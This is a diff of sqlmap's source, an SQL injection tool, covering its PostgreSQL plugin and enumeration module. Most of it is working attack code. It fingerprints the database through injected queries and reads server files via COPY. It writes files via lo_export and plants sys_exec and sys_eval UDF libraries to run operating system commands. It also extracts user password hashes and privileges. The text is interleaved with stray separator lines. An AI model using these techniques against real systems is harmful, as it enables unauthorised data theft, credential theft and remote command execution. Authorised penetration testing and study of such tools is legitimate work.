from lib.core.common import randomInt
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
from lib.core.exception import sqlmapNoneDataException
|
||||
from lib.core.exception import sqlmapSyntaxException
|
||||
from lib.core.exception import sqlmapUnsupportedFeatureException
|
||||
from lib.core.session import setDbms
|
||||
from lib.core.settings import PGSQL_ALIASES
|
||||
from lib.core.settings import PGSQL_SYSTEM_DBS
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.request import inject
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.techniques.outband.stacked import stackedTest
|
||||
|
||||
from plugins.generic.enumeration import Enumeration
|
||||
from plugins.generic.filesystem import Filesystem
|
||||
from plugins.generic.fingerprint import Fingerprint
|
||||
from plugins.generic.misc import Miscellaneous
|
||||
from plugins.generic.takeover import Takeover
|
||||
|
||||
|
||||
class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
"""
|
||||
This class defines PostgreSQL methods
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.excludeDbsList = PGSQL_SYSTEM_DBS
|
||||
|
||||
Enumeration.__init__(self, "PostgreSQL")
|
||||
Filesystem.__init__(self)
|
||||
Takeover.__init__(self)
|
||||
|
||||
unescaper.setUnescape(PostgreSQLMap.unescape)
|
||||
|
||||
@@ -124,7 +136,7 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
if wsOsFp:
|
||||
value += "%s\n" % wsOsFp
|
||||
|
||||
if self.banner:
|
||||
if kb.data.banner:
|
||||
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
|
||||
|
||||
if dbmsOsFp:
|
||||
@@ -161,13 +173,13 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
if conf.dbms in PGSQL_ALIASES:
|
||||
setDbms("PostgreSQL")
|
||||
|
||||
self.getPrematureBanner("VERSION()")
|
||||
self.getBanner()
|
||||
|
||||
if not conf.extensiveFp:
|
||||
return True
|
||||
|
||||
logMsg = "testing PostgreSQL"
|
||||
logger.info(logMsg)
|
||||
infoMsg = "testing PostgreSQL"
|
||||
logger.info(infoMsg)
|
||||
|
||||
randInt = str(randomInt(1))
|
||||
|
||||
@@ -175,8 +187,8 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
result = Request.queryPage(payload)
|
||||
|
||||
if result == True:
|
||||
logMsg = "confirming PostgreSQL"
|
||||
logger.info(logMsg)
|
||||
infoMsg = "confirming PostgreSQL"
|
||||
logger.info(infoMsg)
|
||||
|
||||
payload = agent.fullPayload(" AND COALESCE(%s, NULL)=%s" % (randInt, randInt))
|
||||
result = Request.queryPage(payload)
|
||||
@@ -189,39 +201,39 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
|
||||
setDbms("PostgreSQL")
|
||||
|
||||
self.getPrematureBanner("VERSION()")
|
||||
self.getBanner()
|
||||
|
||||
if not conf.extensiveFp:
|
||||
return True
|
||||
|
||||
transTimeCasted = inject.getValue("SUBSTR(TRANSACTION_TIMESTAMP()::text, 1, 1)") in ( "1", "2" )
|
||||
transTime = inject.getValue("SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)") in ( "1", "2" )
|
||||
transTimeCasted = inject.getValue("SUBSTR(TRANSACTION_TIMESTAMP()::text, 1, 1)", unpack=False) in ( "1", "2" )
|
||||
transTime = inject.getValue("SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)", unpack=False) in ( "1", "2" )
|
||||
|
||||
if transTimeCasted and not transTime:
|
||||
kb.dbmsVersion = [">= 8.3.0"]
|
||||
elif transTime:
|
||||
kb.dbmsVersion = [">= 8.2.0", "< 8.3.0"]
|
||||
elif inject.getValue("GREATEST(5, 9, 1)") == "9":
|
||||
elif inject.getValue("GREATEST(5, 9, 1)", unpack=False) == "9":
|
||||
kb.dbmsVersion = [">= 8.1.0", "< 8.2.0"]
|
||||
elif inject.getValue("WIDTH_BUCKET(5.35, 0.024, 10.06, 5)") == "3":
|
||||
elif inject.getValue("WIDTH_BUCKET(5.35, 0.024, 10.06, 5)", unpack=False) == "3":
|
||||
kb.dbmsVersion = [">= 8.0.0", "< 8.1.0"]
|
||||
elif inject.getValue("SUBSTR(MD5('sqlmap'), 1, 1)"):
|
||||
elif inject.getValue("SUBSTR(MD5('sqlmap'), 1, 1)", unpack=False):
|
||||
kb.dbmsVersion = [">= 7.4.0", "< 8.0.0"]
|
||||
elif inject.getValue("SUBSTR(CURRENT_SCHEMA(), 1, 1)") == "p":
|
||||
elif inject.getValue("SUBSTR(CURRENT_SCHEMA(), 1, 1)", unpack=False) == "p":
|
||||
kb.dbmsVersion = [">= 7.3.0", "< 7.4.0"]
|
||||
elif inject.getValue("BIT_LENGTH(1)") == "8":
|
||||
kb.dbmsVersion = [">= 7.2.0", "< 7.3.0"]
|
||||
elif inject.getValue("SUBSTR(QUOTE_LITERAL('a'), 2, 1)") == "a":
|
||||
elif inject.getValue("SUBSTR(QUOTE_LITERAL('a'), 2, 1)", unpack=False) == "a":
|
||||
kb.dbmsVersion = [">= 7.1.0", "< 7.2.0"]
|
||||
elif inject.getValue("POW(2, 3)") == "8":
|
||||
elif inject.getValue("POW(2, 3)", unpack=False) == "8":
|
||||
kb.dbmsVersion = [">= 7.0.0", "< 7.1.0"]
|
||||
elif inject.getValue("MAX('a')") == "a":
|
||||
kb.dbmsVersion = [">= 6.5.0", "< 6.5.3"]
|
||||
elif re.search("([\d\.]+)", inject.getValue("SUBSTR(VERSION(), 12, 5)")):
|
||||
elif re.search("([\d\.]+)", inject.getValue("SUBSTR(VERSION(), 12, 5)", unpack=False)):
|
||||
kb.dbmsVersion = [">= 6.4.0", "< 6.5.0"]
|
||||
elif inject.getValue("SUBSTR(CURRENT_DATE, 1, 1)") == "2":
|
||||
elif inject.getValue("SUBSTR(CURRENT_DATE, 1, 1)", unpack=False) == "2":
|
||||
kb.dbmsVersion = [">= 6.3.0", "< 6.4.0"]
|
||||
elif inject.getValue("SUBSTRING('sqlmap', 1, 1)") == "s":
|
||||
elif inject.getValue("SUBSTRING('sqlmap', 1, 1)", unpack=False) == "s":
|
||||
kb.dbmsVersion = [">= 6.2.0", "< 6.3.0"]
|
||||
else:
|
||||
kb.dbmsVersion = ["< 6.2.0"]
|
||||
@@ -234,6 +246,44 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
return False
|
||||
|
||||
|
||||
def checkDbmsOs(self, detailed=False):
|
||||
if kb.os:
|
||||
return
|
||||
|
||||
infoMsg = "fingerprinting the back-end DBMS operating system"
|
||||
logger.info(infoMsg)
|
||||
|
||||
self.createSupportTbl(self.fileTblName, self.tblField, "character(500)")
|
||||
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()"))
|
||||
|
||||
# Windows executables should always have ' Visual C++' or ' mingw'
|
||||
# patterns within the banner
|
||||
osWindows = ( " Visual C++", " mingw" )
|
||||
|
||||
for osPattern in osWindows:
|
||||
query = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
|
||||
query += "LIKE '%" + osPattern + "%')>0"
|
||||
query = agent.forgeCaseStatement(query)
|
||||
|
||||
if inject.getValue(query, charsetType=1) == "1":
|
||||
kb.os = "Windows"
|
||||
|
||||
break
|
||||
|
||||
if kb.os == None:
|
||||
kb.os = "Linux"
|
||||
|
||||
infoMsg = "the back-end DBMS operating system is %s" % kb.os
|
||||
logger.info(infoMsg)
|
||||
|
||||
if detailed == False:
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
|
||||
return
|
||||
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
|
||||
|
||||
def forceDbmsEnum(self):
|
||||
if conf.db not in PGSQL_SYSTEM_DBS and conf.db != "public":
|
||||
conf.db = "public"
|
||||
@@ -243,3 +293,214 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
warnMsg += "sqlmap is going to use 'public' schema as "
|
||||
warnMsg += "database name"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
|
||||
def unionReadFile(self, rFile):
|
||||
errMsg = "PostgreSQL does not support file reading with UNION "
|
||||
errMsg += "query SQL injection technique"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
|
||||
def stackedReadFile(self, rFile):
|
||||
# TODO: write a UDF to retrieve the hexadecimal encoded content of
|
||||
# the requested file
|
||||
warnMsg = "binary file read on PostgreSQL is not yet supported, "
|
||||
warnMsg += "if the requested file is binary, its content will not "
|
||||
warnMsg += "be retrieved"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
infoMsg = "fetching file: '%s'" % rFile
|
||||
logger.info(infoMsg)
|
||||
|
||||
result = []
|
||||
|
||||
self.createSupportTbl(self.fileTblName, self.tblField, "bytea")
|
||||
|
||||
logger.debug("loading the content of file '%s' into support table" % rFile)
|
||||
inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, rFile))
|
||||
|
||||
if kb.unionPosition:
|
||||
result = inject.getValue("SELECT ENCODE(%s, 'base64') FROM %s" % (self.tblField, self.fileTblName), unpack=False, resumeValue=False, sort=False)
|
||||
|
||||
if not result:
|
||||
result = []
|
||||
count = inject.getValue("SELECT COUNT(%s) FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, charsetType=2)
|
||||
|
||||
if not count.isdigit() or not len(count) or count == "0":
|
||||
errMsg = "unable to retrieve the content of the "
|
||||
errMsg += "file '%s'" % rFile
|
||||
raise sqlmapNoneDataException, errMsg
|
||||
|
||||
indexRange = getRange(count)
|
||||
|
||||
for index in indexRange:
|
||||
chunk = inject.getValue("SELECT ENCODE(%s, 'base64') FROM %s OFFSET %d LIMIT 1" % (self.tblField, self.fileTblName, index), unpack=False, resumeValue=False, sort=False)
|
||||
result.append(chunk)
|
||||
|
||||
return result
|
||||
|
||||
|
||||
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
|
||||
errMsg = "PostgreSQL does not support file upload with UNION "
|
||||
errMsg += "query SQL injection technique"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
|
||||
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
|
||||
wFileSize = os.path.getsize(wFile)
|
||||
|
||||
if wFileSize > 8192:
|
||||
errMsg = "on PostgreSQL it is not possible to write files "
|
||||
errMsg += "bigger than 8192 bytes at the moment"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
self.oid = randomInt()
|
||||
|
||||
debugMsg = "creating a support table to write the base64 "
|
||||
debugMsg += "encoded file to"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
self.createSupportTbl(self.fileTblName, self.tblField, "text")
|
||||
|
||||
logger.debug("encoding file to its base64 string value")
|
||||
fcEncodedList = self.fileEncode(wFile, "base64", False)
|
||||
|
||||
debugMsg = "forging SQL statements to write the base64 "
|
||||
debugMsg += "encoded file to the support table"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
sqlQueries = self.fileToSqlQueries(fcEncodedList)
|
||||
|
||||
logger.debug("inserting the base64 encoded file to the support table")
|
||||
|
||||
for sqlQuery in sqlQueries:
|
||||
inject.goStacked(sqlQuery)
|
||||
|
||||
debugMsg = "create a new OID for a large object, it implicitly "
|
||||
debugMsg += "adds an entry in the large objects system table"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
# References:
|
||||
# http://www.postgresql.org/docs/8.3/interactive/largeobjects.html
|
||||
# http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html
|
||||
inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
|
||||
inject.goStacked("SELECT lo_create(%d)" % self.oid)
|
||||
|
||||
debugMsg = "updating the system large objects table assigning to "
|
||||
debugMsg += "the just created OID the binary (base64 decoded) UDF "
|
||||
debugMsg += "as data"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
# Refereces:
|
||||
# * http://www.postgresql.org/docs/8.3/interactive/catalog-pg-largeobject.html
|
||||
# * http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql
|
||||
#
|
||||
# NOTE: From PostgreSQL site:
|
||||
#
|
||||
# "The data stored in the large object will never be more than
|
||||
# LOBLKSIZE bytes and might be less which is BLCKSZ/4, or
|
||||
# typically 2 Kb"
|
||||
#
|
||||
# As a matter of facts it was possible to store correctly a file
|
||||
# large 13776 bytes, the problem arises at next step (lo_export())
|
||||
inject.goStacked("UPDATE pg_largeobject SET data=(DECODE((SELECT %s FROM %s), 'base64')) WHERE loid=%d" % (self.tblField, self.fileTblName, self.oid))
|
||||
|
||||
debugMsg = "exporting the OID %s file content to " % fileType
|
||||
debugMsg += "file '%s'" % dFile
|
||||
logger.debug(debugMsg)
|
||||
|
||||
# NOTE: lo_export() exports up to only 8192 bytes of the file
|
||||
# (pg_largeobject 'data' field)
|
||||
inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile))
|
||||
|
||||
if confirm == True:
|
||||
self.askCheckWrittenFile(wFile, dFile, fileType)
|
||||
|
||||
inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
|
||||
|
||||
|
||||
def udfInit(self):
|
||||
self.getVersionFromBanner()
|
||||
|
||||
banVer = kb.bannerFp["dbmsVersion"]
|
||||
dFile = None
|
||||
wFile = paths.SQLMAP_UDF_PATH
|
||||
lib = "libsqlmapudf%s" % randomStr(lowercase=True)
|
||||
|
||||
if banVer >= "8.3":
|
||||
majorVer = "8.3"
|
||||
else:
|
||||
majorVer = "8.2"
|
||||
|
||||
if kb.os == "Windows":
|
||||
wFile += "/postgresql/windows/%s/lib_postgresqludf_sys.dll" % majorVer
|
||||
libExt = "dll"
|
||||
else:
|
||||
wFile += "/postgresql/linux/%s/lib_postgresqludf_sys.so" % majorVer
|
||||
libExt = "so"
|
||||
|
||||
for udf in ( "sys_exec", "sys_eval" ):
|
||||
if udf in self.createdUdf:
|
||||
continue
|
||||
|
||||
logger.info("checking if %s UDF already exist" % udf)
|
||||
|
||||
query = agent.forgeCaseStatement("(SELECT proname='%s' FROM pg_proc WHERE proname='%s' OFFSET 0 LIMIT 1)" % (udf, udf))
|
||||
exists = inject.getValue(query, resumeValue=False, unpack=False)
|
||||
|
||||
if exists == "1":
|
||||
message = "%s UDF already exists, do you " % udf
|
||||
message += "want to overwrite it? [y/N] "
|
||||
output = readInput(message, default="N")
|
||||
|
||||
if output and output in ("y", "Y"):
|
||||
self.udfToCreate.add(udf)
|
||||
else:
|
||||
self.udfToCreate.add(udf)
|
||||
|
||||
if len(self.udfToCreate) > 0:
|
||||
# On Windows
|
||||
if kb.os == "Windows":
|
||||
# The DLL can be in any folder where postgres user has
|
||||
# read/write/execute access is valid
|
||||
# NOTE: by not specifing any path, it will save into the
|
||||
# data directory, on PostgreSQL 8.3 it is
|
||||
# C:\Program Files\PostgreSQL\8.3\data.
|
||||
dFile = "%s.%s" % (lib, libExt)
|
||||
|
||||
# On Linux
|
||||
else:
|
||||
# The SO can be in any folder where postgres user has
|
||||
# read/write/execute access is valid
|
||||
dFile = "/tmp/%s.%s" % (lib, libExt)
|
||||
|
||||
self.writeFile(wFile, dFile, "binary", False)
|
||||
|
||||
for udf, retType in ( ( "sys_exec", "int4" ), ( "sys_eval", "text" ) ):
|
||||
if udf in self.createdUdf:
|
||||
continue
|
||||
|
||||
if udf in self.udfToCreate:
|
||||
logger.info("creating %s UDF from the binary UDF file" % udf)
|
||||
|
||||
# Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html
|
||||
inject.goStacked("DROP FUNCTION %s" % udf)
|
||||
inject.goStacked("CREATE OR REPLACE FUNCTION %s(text) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, retType, dFile, udf))
|
||||
else:
|
||||
logger.debug("keeping existing %s UDF as requested" % udf)
|
||||
|
||||
self.createdUdf.add(udf)
|
||||
|
||||
self.envInitialized = True
|
||||
|
||||
debugMsg = "creating a support table to write commands standard "
|
||||
debugMsg += "output to"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
self.createSupportTbl(self.cmdTblName, self.tblField, "text")
|
||||
|
||||
|
||||
def uncPathRequest(self):
|
||||
self.createSupportTbl(self.fileTblName, self.tblField, "text")
|
||||
inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, self.uncPath), silent=True)
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
|
||||
@@ -5,8 +5,8 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
||||
@@ -5,8 +5,8 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
@@ -29,6 +29,7 @@ import re
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import getRange
|
||||
from lib.core.common import parsePasswordHash
|
||||
from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
@@ -39,12 +40,14 @@ from lib.core.exception import sqlmapMissingMandatoryOptionException
|
||||
from lib.core.exception import sqlmapNoneDataException
|
||||
from lib.core.exception import sqlmapUndefinedMethod
|
||||
from lib.core.exception import sqlmapUnsupportedFeatureException
|
||||
from lib.core.session import setOs
|
||||
from lib.core.settings import SQL_STATEMENTS
|
||||
from lib.core.shell import autoCompletion
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.parse.banner import bannerParser
|
||||
from lib.request import inject
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.techniques.inband.union.test import unionTest
|
||||
from lib.techniques.outband.stacked import stackedTest
|
||||
|
||||
|
||||
@@ -55,43 +58,79 @@ class Enumeration:
|
||||
"""
|
||||
|
||||
def __init__(self, dbms):
|
||||
self.has_information_schema = False
|
||||
kb.data.has_information_schema = False
|
||||
kb.data.banner = ""
|
||||
kb.data.currentUser = ""
|
||||
kb.data.currentDb = ""
|
||||
kb.data.cachedUsers = []
|
||||
kb.data.cachedUsersPasswords = {}
|
||||
kb.data.cachedUsersPrivileges = {}
|
||||
kb.data.cachedDbs = []
|
||||
kb.data.cachedTables = {}
|
||||
kb.data.cachedColumns = {}
|
||||
kb.data.dumpedTable = {}
|
||||
|
||||
self.banner = ""
|
||||
self.currentUser = ""
|
||||
self.currentDb = ""
|
||||
self.cachedUsers = []
|
||||
self.cachedUsersPassword = {}
|
||||
self.cachedUsersPrivileges = {}
|
||||
self.cachedDbs = []
|
||||
self.cachedTables = {}
|
||||
self.cachedColumns = {}
|
||||
self.dumpedTable = {}
|
||||
|
||||
temp.inference = queries[dbms].inference
|
||||
temp.inference = queries[dbms].inference
|
||||
|
||||
|
||||
def forceDbmsEnum(self):
|
||||
pass
|
||||
|
||||
|
||||
def getPrematureBanner(self, query):
|
||||
if conf.getBanner:
|
||||
self.banner = inject.getValue(query)
|
||||
def getVersionFromBanner(self):
|
||||
if "dbmsVersion" in kb.bannerFp:
|
||||
return
|
||||
|
||||
bannerParser(self.banner)
|
||||
infoMsg = "detecting back-end DBMS version from its banner"
|
||||
logger.info(infoMsg)
|
||||
|
||||
if kb.dbms == "MySQL":
|
||||
first, last = 1, 6
|
||||
|
||||
elif kb.dbms == "PostgreSQL":
|
||||
first, last = 12, 6
|
||||
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
first, last = 29, 9
|
||||
|
||||
else:
|
||||
raise sqlmapUnsupportedFeatureException, "unsupported DBMS"
|
||||
|
||||
query = queries[kb.dbms].substring % (queries[kb.dbms].banner, first, last)
|
||||
|
||||
kb.bannerFp["dbmsVersion"] = inject.getValue(query, unpack=False)
|
||||
kb.bannerFp["dbmsVersion"] = kb.bannerFp["dbmsVersion"].replace(",", "").replace("-", "").replace(" ", "")
|
||||
|
||||
|
||||
def getBanner(self):
|
||||
if not conf.getBanner:
|
||||
return
|
||||
|
||||
kb.dbmsDetected = True
|
||||
|
||||
infoMsg = "fetching banner"
|
||||
logger.info(infoMsg)
|
||||
|
||||
query = queries[kb.dbms].banner
|
||||
if not kb.data.banner:
|
||||
if conf.unionUse or conf.unionTest:
|
||||
dumper.string("valid union", unionTest())
|
||||
|
||||
if not self.banner:
|
||||
self.banner = inject.getValue(query)
|
||||
query = queries[kb.dbms].banner
|
||||
kb.data.banner = inject.getValue(query)
|
||||
bannerParser(kb.data.banner)
|
||||
|
||||
return self.banner
|
||||
if conf.os and conf.os == "windows":
|
||||
kb.bannerFp["type"] = set([ "Windows" ])
|
||||
|
||||
elif conf.os and conf.os == "linux":
|
||||
kb.bannerFp["type"] = set([ "Linux" ])
|
||||
|
||||
elif conf.os:
|
||||
kb.bannerFp["type"] = set([ "%s%s" % (conf.os[0].upper(), conf.os[1:]) ])
|
||||
|
||||
setOs()
|
||||
|
||||
return kb.data.banner
|
||||
|
||||
|
||||
def getCurrentUser(self):
|
||||
@@ -100,10 +139,10 @@ class Enumeration:
|
||||
|
||||
query = queries[kb.dbms].currentUser
|
||||
|
||||
if not self.currentUser:
|
||||
self.currentUser = inject.getValue(query)
|
||||
if not kb.data.currentUser:
|
||||
kb.data.currentUser = inject.getValue(query)
|
||||
|
||||
return self.currentUser
|
||||
return kb.data.currentUser
|
||||
|
||||
|
||||
def getCurrentDb(self):
|
||||
@@ -112,10 +151,10 @@ class Enumeration:
|
||||
|
||||
query = queries[kb.dbms].currentDb
|
||||
|
||||
if not self.currentDb:
|
||||
self.currentDb = inject.getValue(query)
|
||||
if not kb.data.currentDb:
|
||||
kb.data.currentDb = inject.getValue(query)
|
||||
|
||||
return self.currentDb
|
||||
return kb.data.currentDb
|
||||
|
||||
|
||||
def isDba(self):
|
||||
@@ -124,9 +163,9 @@ class Enumeration:
|
||||
|
||||
query = agent.forgeCaseStatement(queries[kb.dbms].isDba)
|
||||
|
||||
self.isDba = inject.getValue(query)
|
||||
kb.data.isDba = inject.getValue(query, unpack=False, charsetType=1)
|
||||
|
||||
return str(self.isDba == "1")
|
||||
return kb.data.isDba == "1"
|
||||
|
||||
|
||||
def getUsers(self):
|
||||
@@ -136,9 +175,9 @@ class Enumeration:
|
||||
rootQuery = queries[kb.dbms].users
|
||||
|
||||
condition = ( kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ) )
|
||||
condition |= ( kb.dbms == "MySQL" and not self.has_information_schema )
|
||||
condition |= ( kb.dbms == "MySQL" and not kb.data.has_information_schema )
|
||||
|
||||
if conf.unionUse:
|
||||
if kb.unionPosition:
|
||||
if condition:
|
||||
query = rootQuery["inband"]["query2"]
|
||||
else:
|
||||
@@ -146,9 +185,9 @@ class Enumeration:
|
||||
value = inject.getValue(query, blind=False)
|
||||
|
||||
if value:
|
||||
self.cachedUsers = value
|
||||
kb.data.cachedUsers = value
|
||||
|
||||
if not self.cachedUsers:
|
||||
if not kb.data.cachedUsers:
|
||||
infoMsg = "fetching number of database users"
|
||||
logger.info(infoMsg)
|
||||
|
||||
@@ -156,7 +195,7 @@ class Enumeration:
|
||||
query = rootQuery["blind"]["count2"]
|
||||
else:
|
||||
query = rootQuery["blind"]["count"]
|
||||
count = inject.getValue(query, inband=False, expected="int")
|
||||
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
|
||||
|
||||
if not count.isdigit() or not len(count) or count == "0":
|
||||
errMsg = "unable to retrieve the number of database users"
|
||||
@@ -172,13 +211,13 @@ class Enumeration:
|
||||
user = inject.getValue(query, inband=False)
|
||||
|
||||
if user:
|
||||
self.cachedUsers.append(user)
|
||||
kb.data.cachedUsers.append(user)
|
||||
|
||||
if not self.cachedUsers:
|
||||
if not kb.data.cachedUsers:
|
||||
errMsg = "unable to retrieve the database users"
|
||||
raise sqlmapNoneDataException, errMsg
|
||||
|
||||
return self.cachedUsers
|
||||
return kb.data.cachedUsers
|
||||
|
||||
|
||||
def getPasswordHashes(self):
|
||||
@@ -192,7 +231,7 @@ class Enumeration:
|
||||
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.unionUse:
|
||||
if kb.unionPosition:
|
||||
if kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
|
||||
query = rootQuery["inband"]["query2"]
|
||||
else:
|
||||
@@ -223,22 +262,22 @@ class Enumeration:
|
||||
|
||||
password = parsePasswordHash(password)
|
||||
|
||||
if not self.cachedUsersPassword.has_key(user):
|
||||
self.cachedUsersPassword[user] = [password]
|
||||
if not kb.data.cachedUsersPasswords.has_key(user):
|
||||
kb.data.cachedUsersPasswords[user] = [password]
|
||||
else:
|
||||
self.cachedUsersPassword[user].append(password)
|
||||
kb.data.cachedUsersPasswords[user].append(password)
|
||||
|
||||
if not self.cachedUsersPassword:
|
||||
if not kb.data.cachedUsersPasswords:
|
||||
if conf.user:
|
||||
if "," in conf.user:
|
||||
users = conf.user.split(",")
|
||||
else:
|
||||
users = [conf.user]
|
||||
else:
|
||||
if not len(self.cachedUsers):
|
||||
if not len(kb.data.cachedUsers):
|
||||
users = self.getUsers()
|
||||
else:
|
||||
users = self.cachedUsers
|
||||
users = kb.data.cachedUsers
|
||||
|
||||
retrievedUsers = set()
|
||||
|
||||
@@ -260,7 +299,7 @@ class Enumeration:
|
||||
query = rootQuery["blind"]["count2"] % user
|
||||
else:
|
||||
query = rootQuery["blind"]["count"] % user
|
||||
count = inject.getValue(query, inband=False, expected="int")
|
||||
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
|
||||
|
||||
if not count.isdigit() or not len(count) or count == "0":
|
||||
warnMsg = "unable to retrieve the number of password "
|
||||
@@ -287,7 +326,7 @@ class Enumeration:
|
||||
passwords.append(password)
|
||||
|
||||
if passwords:
|
||||
self.cachedUsersPassword[user] = passwords
|
||||
kb.data.cachedUsersPasswords[user] = passwords
|
||||
else:
|
||||
warnMsg = "unable to retrieve the password "
|
||||
warnMsg += "hashes for user '%s'" % user
|
||||
@@ -295,12 +334,12 @@ class Enumeration:
|
||||
|
||||
retrievedUsers.add(user)
|
||||
|
||||
if not self.cachedUsersPassword:
|
||||
if not kb.data.cachedUsersPasswords:
|
||||
errMsg = "unable to retrieve the password "
|
||||
errMsg += "hashes for the database users"
|
||||
raise sqlmapNoneDataException, errMsg
|
||||
|
||||
return self.cachedUsersPassword
|
||||
return kb.data.cachedUsersPasswords
|
||||
|
||||
|
||||
def __isAdminFromPrivileges(self, privileges):
|
||||
@@ -314,11 +353,11 @@ class Enumeration:
|
||||
|
||||
# In MySQL >= 5.0 the SUPER privilege means
|
||||
# that the user is DBA
|
||||
dbaCondition |= ( kb.dbms == "MySQL" and self.has_information_schema and "SUPER" in privileges )
|
||||
dbaCondition |= ( kb.dbms == "MySQL" and kb.data.has_information_schema and "SUPER" in privileges )
|
||||
|
||||
# In MySQL < 5.0 the super_priv privilege means
|
||||
# that the user is DBA
|
||||
dbaCondition |= ( kb.dbms == "MySQL" and not self.has_information_schema and "super_priv" in privileges )
|
||||
dbaCondition |= ( kb.dbms == "MySQL" and not kb.data.has_information_schema and "super_priv" in privileges )
|
||||
|
||||
return dbaCondition
|
||||
|
||||
@@ -372,8 +411,8 @@ class Enumeration:
|
||||
( 3, "catupd" ),
|
||||
)
|
||||
|
||||
if conf.unionUse:
|
||||
if kb.dbms == "MySQL" and not self.has_information_schema:
|
||||
if kb.unionPosition:
|
||||
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
||||
query = rootQuery["inband"]["query2"]
|
||||
condition = rootQuery["inband"]["condition2"]
|
||||
else:
|
||||
@@ -386,7 +425,7 @@ class Enumeration:
|
||||
query += " WHERE "
|
||||
# NOTE: I assume that the user provided is not in
|
||||
# MySQL >= 5.0 syntax 'user'@'host'
|
||||
if kb.dbms == "MySQL" and self.has_information_schema:
|
||||
if kb.dbms == "MySQL" and kb.data.has_information_schema:
|
||||
queryUser = "%" + conf.user + "%"
|
||||
query += " OR ".join("%s LIKE '%s'" % (condition, "%" + user + "%") for user in users)
|
||||
else:
|
||||
@@ -400,7 +439,7 @@ class Enumeration:
|
||||
|
||||
# NOTE: I assume that the user provided is not in
|
||||
# MySQL >= 5.0 syntax 'user'@'host'
|
||||
if kb.dbms == "MySQL" and self.has_information_schema:
|
||||
if kb.dbms == "MySQL" and kb.data.has_information_schema:
|
||||
queryUser = "%" + conf.user + "%"
|
||||
query += " WHERE %s LIKE '%s'" % (condition, queryUser)
|
||||
else:
|
||||
@@ -431,12 +470,12 @@ class Enumeration:
|
||||
|
||||
